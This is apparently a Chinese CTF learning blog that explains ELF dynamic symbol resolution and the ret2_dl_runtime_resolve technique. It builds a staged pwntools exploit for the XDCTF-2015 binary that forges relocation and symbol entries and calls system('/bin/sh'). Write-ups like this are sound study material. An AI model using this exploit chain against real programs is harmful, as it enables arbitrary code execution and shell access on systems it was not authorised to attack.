最近对于ret2_dl_runtime_resolve进行了初步的学习,故写此博客作为学习记录。
测试程序write.c 1 2 3 4 5 6 #include <stdio.h> int main () {char buf[]="1p0ch\n" ;write (1 ,buf,strlen (buf));}
查看文件的elf
.dynamic 0x8049f14 文件结构
1 2 3 4 5 6 7 typedef struct { Elf32_Sword d_tag; union { Elf32_Word d_val; Elf32_Addr d_ptr; } d_un; } Elf32_Dyn;
其中DT_STRTAB, DT_SYMTAB, DT_JMPREL分别指向.dynstr, .dynsym, .rel.plt节段,所以我们接下来对它分析
.dynstr 0x804822c 文件结构
开始为0 然后包含动态链接所需的字符串(导入函数名等)(以\x00结尾)
.dynsym 0x80481cc 文件结构
1 2 3 4 5 6 7 8 9 typedef struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; }Elf32_Sym
注意两个字段: st_name:符号名相对.dynstr起始的偏移(offset byte_804822c) st_info:对于导入函数符号此处为0x12 (对于导入函数,其他处为0)
.rel.plt 0x80482b4 文件结构
1 2 3 4 5 typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel;
下面对write函数调用进行分析 got表 write函数调用 汇编码下边的是write的三个参数对plt表内容进行反编译 这个0x804a014则是write的got地址
查看got内容 这里的0x8048326是write的plt表的下一条指令
看一下第三条指令跳转位置指令 使用x/20wx 查看(w是四字节意思) 这里0x804a004是got表开头的位置 0x804a004:link_map=(GOT+4),此处包含链接器的标识信息 0x804a008:_dl_runtime_resolve函数地址-> (GOT+8)->GOT[2],动态链接器中的入口点 存放link_map 前五个存放对应的link_map的结构, 第三个的地方存放是.dynamic.的地址0x8049f14
• 注: 对got/link_map理解 .got 这是我们常说的GOT, 即Global Offset Table, 全局偏移表. 这是链接器在执行链接时 实际上要填充的部分, 保存了所有外部符号的地址信息. 不过值得注意的是, 在i386架构下, 除了每个函数占用一个GOT表项外,GOT表项还保留了 3个公共表项, 每项32位(4字节), 保存在前三个位置, 分别是: • got[0]: 本ELF动态段(.dynamic段)的装载地址 • got1: 本ELF的link_map数据结构描述符地址 • got2: _dl_runtime_resolve函数的地址 其中, link_map数据结构的定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 struct link_map { ElfW(Addr) l_addr; char *l_name; ElfW(Dyn) *l_ld; struct link_map *l_next , *l_prev ; };
其中_dl_runtime_resolve结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 _dl_runtime_resolve: cfi_adjust_cfa_offset (8) _CET_ENDBR pushl %eax # Preserve registers otherwise clobbered. cfi_adjust_cfa_offset (4) pushl %ecx cfi_adjust_cfa_offset (4) pushl %edx cfi_adjust_cfa_offset (4) movl 16(%esp), %edx # Copy args pushed by PLT in register. Note movl 12(%esp), %eax # that `fixup' takes its parameters in regs. call _dl_fixup # Call resolver. popl %edx # Get register content back. cfi_adjust_cfa_offset (-4) movl (%esp), %ecx movl %eax, (%esp) # Store the function address. movl 4(%esp), %eax ret $12 # Jump to function address. cfi_endproc .size _dl_runtime_resolve, .-_dl_runtime_resolve
从注释里也可以看出来, 该函数实际上做了两件事: • 1)解析出write的地址并将值填入.got.plt中. • 2)跳转执行真正的write函数. 第一次调用write,实际上相当于调用了_dl_runtime_resolve((link_map *)m,0x10)【_dl_runtime_resolve(link_map, reloc_arg)】 这里的link_map提供了运行时的必要信息,0x10则是write函数的偏移(就是在write@plt中的push 0x10) x/10i 查看汇编码
进一步查看_dl_runtime_resolve汇编代码 这里调用了_dl_fixup,并且通过寄存器传参
对_dl_fixup分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 _dl_fixup(struct link_map *l, ElfW(Word) reloc_arg) { const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); const ElfW (Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL ); value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0 ); return elf_machine_fixup_plt (l, result, reloc, rel_addr, value); }
即: 首先通过link_map访问.dynamic节段,并获得.dynstr, .dynsym, .rel.plt节段的地址 .rel.plt + reloc_arg(第二个参数(导入函数在.rel.plt中的偏移))求出对应函数重定位表项Elf32_Rel的指针 利用此指针得到对应函数的r_info,r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针 利用Elf32_Sym的指针得到对应的st_name,.dynstr + st_name即为符号名字符串指针 在动态链接库查找这个函数,并且把地址赋值给.rel.plt中对应条目的r_offset:指向对应got表的指针 赋值给GOT表后,把控制权返还给write利用思路 1.控制eip为PLT[0]的地址 2.构造传递reloc_arg(第二个)参数 3.控制参数的大小,使rel的位置落在可控地址内 4.伪造rel的内容,使dynsym落在可控地址内 5.伪造dynsym的内容(主要是st_name),使name落在可控地址内 6.伪造name为任意库函数(一般获取shell,使用”system”)改写section 可以改写.dynamic的DT_STRTAB 或者直接改写.dynstr 使最后传入_dl_runtime_resolve函数的字符串(函数名)为我们改写后的字符串(我们需要调用函数的库函数名),而后成功运行函数(一般构造为”system”来获取shell)
下面以XDCTF-2015为例
先构造栈迁移,逐步构造完整rop
stage 1 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *context(log_level="debug" , arch="i386" , os="linux" ) p=process('./main' ) elf=ELF('./main' ) read_plt=elf.plt['read' ] write_plt=elf.plt['write' ] leave_ret=0x08048458 pop_ebp=0x0804861b pop_ebx_esi_edi_ebp=0x08048618 bss=0x804a040 stack_size = 0x800 stack=bss+stack_size p.recvuntil('Welcome to XDCTF2015~!' ) offset=112 payload='a' *offset+p32(read_plt) payload+=p32(pop_ebx_esi_edi_ebp) payload += p32(0 ) payload += p32(stack) payload += p32(100 ) payload += p32(stack) payload += p32(leave_ret) p.sendline(payload) cmd = "/bin/sh" payload2 = 'AAAA' payload2 += p32(write_plt) payload2 += 'AAAA' payload2 += p32(1 ) payload2 += p32(stack + 80 ) payload2 += p32(len(cmd)) payload2 += 'A' * (80 - len(payload2)) payload2 += cmd + '\x00' p.sendline(payload2) p.recv() p.interactive()
上面可以打印’/bin/sh’
stage 2 控制eip返回PLT[0],要带上write的index_offset
1 2 3 4 5 6 7 8 9 10 11 12 13 plt_0 = 0x08048380 index_offset = 0x20 payload2 = 'AAAA' payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += 'AAAA' payload2 += p32(1 ) payload2 += p32(stack + 80 ) payload2 += p32(len(cmd)) payload2 += 'A' * (80 - len(payload2)) payload2 += cmd + '\x00'
同样打印’/bin/sh’
stage 3 这次控制index_offset,使其指向我们构造的fake_reloc(之前的0x20就是0x350-0x330) 伪造的时候注意第一个是got地址,第二个是relo_info
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 cmd = "/bin/sh" plt_0 = 0x08048380 rel_plt=0x8048330 relo_info=0x607 write_got=elf.got['write' ] fake_relo=p32(write_got)+p32(relo_info) fake_offset = (stack + 28 ) - rel_plt payload2 = 'AAAA' payload2 += p32(plt_0) payload2 += p32(fake_offset) payload2 += 'AAAA' payload2 += p32(1 ) payload2 += p32(stack + 80 ) payload2 += p32(len(cmd)) payload2 += fake_relo payload2 += 'A' * (80 - len(payload2)) payload2 += cmd + '\x00'
仍然成功打印
stage 4 这一次构造fake_sym,使其指向我们控制的st_name stage3 中,我们控制了重定位表项,但是重定位表项的内容与 write 原来的重定位表项一致,这次,我们将构造属于我们自己的重定位表项,并且伪造该表项对应的符号。首先,我们根据 write 的重定位表项的 r_info=0x607 可以知道,write 对应的符号在符号表的下标为0x607>>8=0x6. 因此,我们知道 write 对应的符号地址为 0x8048238。
注意这里栈要抬高, 用0x800,防止覆盖其他地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 plt_0 = 0x08048380 rel_plt=0x8048330 dynsym = 0x080481d8 dynstr = 0x08048278 write_got=elf.got['write' ] fake_offset = (stack + 28 ) - rel_plt fake_sym_addr = stack + 36 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf ) fake_sym_addr = fake_sym_addr + align index_dynsym = (fake_sym_addr - dynsym) / 0x10 r_info = (index_dynsym << 8 ) | 0x7 fake_reloc = p32(write_got) + p32(r_info) st_name = 0x4c fake_sym = p32(st_name) + p32(0 ) + p32(0 ) + p32(0x12 ) payload2 = 'AAAA' payload2 += p32(plt_0) payload2 += p32(fake_offset) payload2 += 'AAAA' payload2 += p32(1 ) payload2 += p32(stack + 80 ) payload2 += p32(len(cmd)) payload2 += fake_reloc payload2 += 'B' * align payload2 += fake_sym payload2 += 'A' * (80 - len(payload2)) payload2 += cmd + '\x00'
成功打印
stage 5 把st_name指向输入的字符串”write” st_name:符号名相对.dynstr起始的偏移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 plt_0 = 0x08048380 rel_plt=0x8048330 dynsym = 0x080481d8 dynstr = 0x08048278 write_got=elf.got['write' ] fake_offset = (stack + 28 ) - rel_plt fake_sym_addr = stack + 36 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf ) fake_sym_addr = fake_sym_addr + align index_dynsym = (fake_sym_addr - dynsym) / 0x10 r_info = (index_dynsym << 8 ) | 0x7 fake_reloc = p32(write_got) + p32(r_info) st_name = (fake_sym_addr + 0x10 ) - dynstr fake_sym = p32(st_name) + p32(0 ) + p32(0 ) + p32(0x12 ) payload2 = 'AAAA' payload2 += p32(plt_0) payload2 += p32(fake_offset) payload2 += 'AAAA' payload2 += p32(1 ) payload2 += p32(stack + 80 ) payload2 += p32(len(cmd)) payload2 += fake_reloc payload2 += 'B' * align payload2 += fake_sym payload2 += 'write\x00' payload2 += 'A' * (80 - len(payload2)) payload2 += cmd + '\x00'
成功打印
stage 6 替换write为system,并修改system的参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 plt_0 = 0x08048380 rel_plt=0x8048330 dynsym = 0x080481d8 dynstr = 0x08048278 write_got=elf.got['write' ] fake_offset = (stack + 28 ) - rel_plt fake_sym_addr = stack + 36 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf ) fake_sym_addr = fake_sym_addr + align index_dynsym = (fake_sym_addr - dynsym) / 0x10 r_info = (index_dynsym << 8 ) | 0x7 fake_reloc = p32(write_got) + p32(r_info) st_name = (fake_sym_addr + 0x10 ) - dynstr fake_sym = p32(st_name) + p32(0 ) + p32(0 ) + p32(0x12 ) payload2 = 'AAAA' payload2 += p32(plt_0) payload2 += p32(fake_offset) payload2 += 'AAAA' payload2 += p32(stack+80 ) payload2 += 'aaaa' payload2 += 'aaaa' payload2 += fake_reloc payload2 += 'B' * align payload2 += fake_sym payload2 += 'system\x00' payload2 += 'A' * (80 - len(payload2)) payload2 += cmd + '\x00'
成功getshell 至此基本掌握ret2_dl_runtime_resolve 应用场景:应为没有puts等函数泄露libc基址的时候 对于六十四位程序的利用过程会有所不同,开启不同程度保护的利用方法也会区别,但是这里就仅讲述一下32位的利用过程参考链接: https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/#stage-4 http://pwn4.fun/2016/11/09/Return-to-dl-resolve/ https://www.jianshu.com/p/e13e1dce095d https://www.cnblogs.com/pannengzhi/p/2018-04-09-about-got-plt.html